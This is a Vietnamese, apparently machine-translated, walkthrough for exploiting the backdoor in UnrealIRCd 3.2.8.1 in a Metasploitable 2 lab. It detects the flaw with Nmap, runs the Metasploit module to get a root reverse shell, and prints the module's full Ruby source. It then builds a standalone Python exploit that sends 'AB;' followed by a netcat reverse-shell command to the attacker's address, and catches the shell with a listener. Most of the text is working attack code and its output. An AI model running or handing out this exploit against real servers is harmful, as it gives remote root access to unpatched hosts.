Một máy chủ IRC mã nguồn mở đã có từ năm 1999 và có lẽ là máy chủ được sử dụng rộng rãi nhất hiện nay. Phiên bản 3.2.8.1 dễ bị thực thi mã từ xa do có cửa hậu trong phần mềm. Hôm nay, sẽ khai thác lỗ hổng với Metasploit, kiểm tra mã cơ bản để hiểu nó và tạo phiên bản khai thác của riêng chúng ta trong Python.
Trong khoảng thời gian từ tháng 11 năm 2009 đến tháng 6 năm 2010, UnrealIRCd 3.2.8.1 có chứa một trojan cửa sau có sẵn trong kho lưu trữ tải xuống. Lỗ hổng cho phép kẻ tấn công thực thi mã tùy ý bằng cách gửi chuỗi “AB”, kích hoạt cửa sau, theo sau là tải trọng. Lệnh sẽ chạy như bất cứ người dùng nào mà trình nền IRC đang chạy, vì vậy có thể đạt được quyền truy cập cấp gốc .
Chúng tôi sẽ sử dụng Metasploitable 2 làm mục tiêu và Kali Linux làm cỗ máy tấn công.
Bước 1 Sử dụng Nmap để xác minh lỗ hổng
Điều đầu tiên chúng ta cần làm là xác định xem UnrealIRCd có hiện diện trên mục tiêu hay không. Nmap chứa một tập lệnh tiện dụng để kiểm tra xem nó có ở đó không và nó có phải là phiên bản cửa sau dễ bị tấn công không. Vì lỗ hổng này khoảng mười năm tuổi, sẽ không có nhiều trong số chúng chạy ra ngoài tự nhiên.
Các tập lệnh của Nmap được đặt trong thư mục / usr / share / nmap / scripts / . Chúng tôi có thể liệt kê nội dung của thư mục này và tìm kiếm irc bằng cách sử dụng một đường ống và lệnh grep :
~# ls /usr/share/nmap/scripts/ | grep irc
irc-botnet-channels.nse
irc-brute.nse
irc-info.nse
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse
Cái cuối cùng ở trên là cái chúng ta muốn. Bây giờ chỉ cần chạy quét Nmap nhanh trên mục tiêu bằng tham số –script để chỉ định tập lệnh. Chúng tôi cũng có thể chỉ định cổng 6667 vì đây là cổng UnrealIRCd thường chạy.
~# nmap --script irc-unrealircd-backdoor.nse 10.10.0.50 -p 6667
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-23 08:47 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00068s latency).
PORT STATE SERVICE
6667/tcp open irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
MAC Address: 00:1D:09:55:B1:3B (Dell)
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
Chúng ta có thể thấy cổng này đang mở và nó dường như là phiên bản cửa sau. Thông minh.
Bước 2 Khai thác dễ dàng với Metasploit
Chúng tôi có thể chứng minh lỗ hổng này dễ khai thác như thế nào khi sử dụng Metasploit . Bật nó lên bằng cách gõ msfconsole trong terminal. Khi nó tải, chúng ta có thể xác định vị trí khai thác bằng lệnh tìm kiếm :
msf5 > search unrealirc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
Và tải mô-đun bằng lệnh use :
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
Bây giờ chúng ta có thể xem các tùy chọn và xem những gì chúng ta cần đặt:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 6667 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic Target
Đặt rhosts thành địa chỉ IP của mục tiêu:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Sau đó, chúng ta có thể xem các tải trọng có sẵn cho khai thác này bằng cách sử dụng lệnh show payloads :
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
4 cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 cmd/unix/generic normal No Unix Command, Generic Command Execution
6 cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
7 cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
8 cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
9 cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
10 cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
11 cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
12 cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Chúng tôi sẽ sử dụng một shell lệnh đảo ngược Unix đơn giản. Sử dụng thiết lập tải trọng để tải trọng tải mong muốn:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
Vì chúng ta đang sử dụng shell ngược , bây giờ chúng ta cần đặt máy chủ và cổng nghe. Sử dụng địa chỉ IP của máy cục bộ của bạn và cổng bạn chọn:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.0.1
lhost => 10.10.0.1
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 1234
lport => 1234
Cuối cùng, gõ run để khởi chạy khai thác:
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 10.10.0.1:1234
[*] 10.10.0.50:6667 - Connected to 10.10.0.50:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.0.50:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo G3vd0zQXK0P3fLA7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "G3vd0zQXK0P3fLA7\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:1234 -> 10.10.0.50:52857) at 2019-05-23 08:52:22 -0500
Chúng tôi thấy kết thúc khai thác và một vỏ lệnh được mở. Bây giờ chúng ta có thể chạy các lệnh hệ thống trên mục tiêu, chẳng hạn như id , để xem người dùng hiện tại và uname -a , để xem thông tin hệ điều hành:
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Bây giờ chúng ta đã thấy việc khai thác dễ dàng như thế nào, chúng ta hãy xem mã để biết chính xác những gì xảy ra đằng sau hậu trường.
Bước 3Kiểm tra mã Ruby
Các mô-đun Metasploit được viết bằng Ruby và cung cấp một cách thuận tiện để giao diện với khung để giúp mọi người dễ dàng sử dụng. Những thứ như thiết lập tải trọng và các tùy chọn khác được xử lý bởi khung, giúp các nhà phát triển khai thác dễ dàng tạo ra một mô-đun tùy chỉnh.
Mô-đun UnrealIRCd mà chúng ta vừa chạy nằm trong thư mục sau:
/usr/share/metasploit-framework/modules/exploits/unix/irc/
Trong một cửa sổ terminal mới, chúng ta xem đoạn code:
~# cat /usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2075' ],
[ 'OSVDB', '65445' ],
[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 12 2010'))
register_options(
[
Opt::RPORT(6667)
])
end
def exploit
connect
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
# Wait for the request to be handled
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Hãy phá vỡ điều này và xem xét nửa đầu của mã:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2075' ],
[ 'OSVDB', '65445' ],
[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 12 2010'))
register_options(
[
Opt::RPORT(6667)
])
end
Phần trên là phần tích hợp với Metasploit Framework, khởi tạo mô-đun, đưa ra mô tả về khai thác và xử lý tất cả các tùy chọn.
Nửa sau của mã là nơi có chứa thông tin
def exploit
connect
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
# Wait for the request to be handled
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Mã đó kết nối với máy chủ từ xa và gửi lệnh backdoor, đó là chuỗi “AB” theo sau là tải trọng và ký tự dòng mới:
sock.put("AB;" + payload.encoded + "\n")
Sau đó, nó đảm bảo một phiên được tạo và ngắt kết nối. Theo như khai thác, điều này là tương đối đơn giản.
Vì Python được cho là dễ tiếp cận hơn Ruby, đặc biệt là cho người mới bắt đầu, chúng ta hãy viết một kịch bản nhanh bằng Python để khai thác lỗ hổng này.
Bước 4Khai thác cổng sang Python
Để bắt đầu khai thác của chúng tôi, hãy tạo tệp Python bằng nano :
~# nano irc.py
Tiếp theo, chúng ta cần nói cho kịch bản cách thực thi bằng cách chỉ định đường dẫn của nhị phân Python của chúng ta. Đặt dòng này ở đầu tệp:
#!/usr/bin/python
Sau đó, chúng tôi có thể nhập gói ổ cắm, cho phép chúng tôi kết nối với máy chủ từ xa:
import socket
Chúng ta có thể đặt một số biến để giữ mọi thứ được tổ chức, trong đó rhost sẽ là địa chỉ IP của mục tiêu, rport sẽ là 6667, cổng UnrealIRCd chạy và tải trọng sẽ là lệnh chúng ta muốn thực hiện trên mục tiêu.
rhost = '10.10.0.50'
rport = 6667
payload = 'sh -c nc 10.10.0.1 4321 -e /bin/bash'
Phần sh -c gọi shell chạy lệnh. Trong trường hợp này, Netcat , sẽ kết nối trở lại máy cục bộ của chúng tôi và tạo ra một vỏ BASH. Hãy chắc chắn để thay thế địa chỉ IP của riêng bạn.
Bây giờ các biến của chúng ta đã được đặt, chúng ta cần mã để kết nối với máy chủ từ xa:
s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send('AB; ' + payload + '\n')
s.close()
Dòng đầu tiên này tạo ra một kết nối ổ cắm mới. Dòng tiếp theo kết nối với máy chủ và cổng từ xa. Dòng sau nhận được phản hồi từ mục tiêu lên tới 1024 byte. Khi kết nối được thiết lập, dòng tiếp theo sẽ gửi lệnh để kích hoạt cửa sau, bao gồm cả tải trọng chúng tôi đã chỉ định trước đó. Cuối cùng, kết nối được đóng lại.
Đó phải là tất cả các mã chúng ta cần. Kịch bản cuối cùng sẽ trông như thế này:
#!/usr/bin/python
import socket
rhost = ‘10.10.0.50’
rport = 6667
payload = ‘sh -c nc 10.10.0.1 4321 -e /bin/bash’
s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send(‘AB; ‘ + payload + ‘\n’)
s.close()
Hãy ghi nhớ, đây chỉ là một bằng chứng đơn giản. Chúng tôi cũng có thể thêm thông báo trạng thái và xử lý lỗi nếu chúng tôi muốn, nhưng bây giờ, điều này sẽ hoạt động.
Bước 5 Chạy Khai thác
Cuối cùng chúng tôi đã sẵn sàng để chạy khai thác Python của chúng tôi. Trong tab hoặc cửa sổ mới, hãy khởi động trình nghe trên bất kỳ cổng nào bạn đã chỉ định trước đó trong tập lệnh:
~# nc -lvp 4321
listening on [any] 4321 ...
Và thực thi kịch bản với lệnh python :
python irc.py
Nếu mọi thứ hoạt động tốt, chúng ta sẽ thấy một kết nối được mở trên trình nghe của mình và chúng ta có thể chạy các lệnh như id và uname -a để xác minh rằng chúng ta đã root:
10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 41418
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Xin lưu ý: vì một số lý do, tôi không thể thực hiện điều này mỗi lần, vì vậy nếu nó không hoạt động, hãy thử lại và nên thực hiện. Tôi thấy nó hoạt động tốt nhất sau khi khởi động lại hệ thống đích.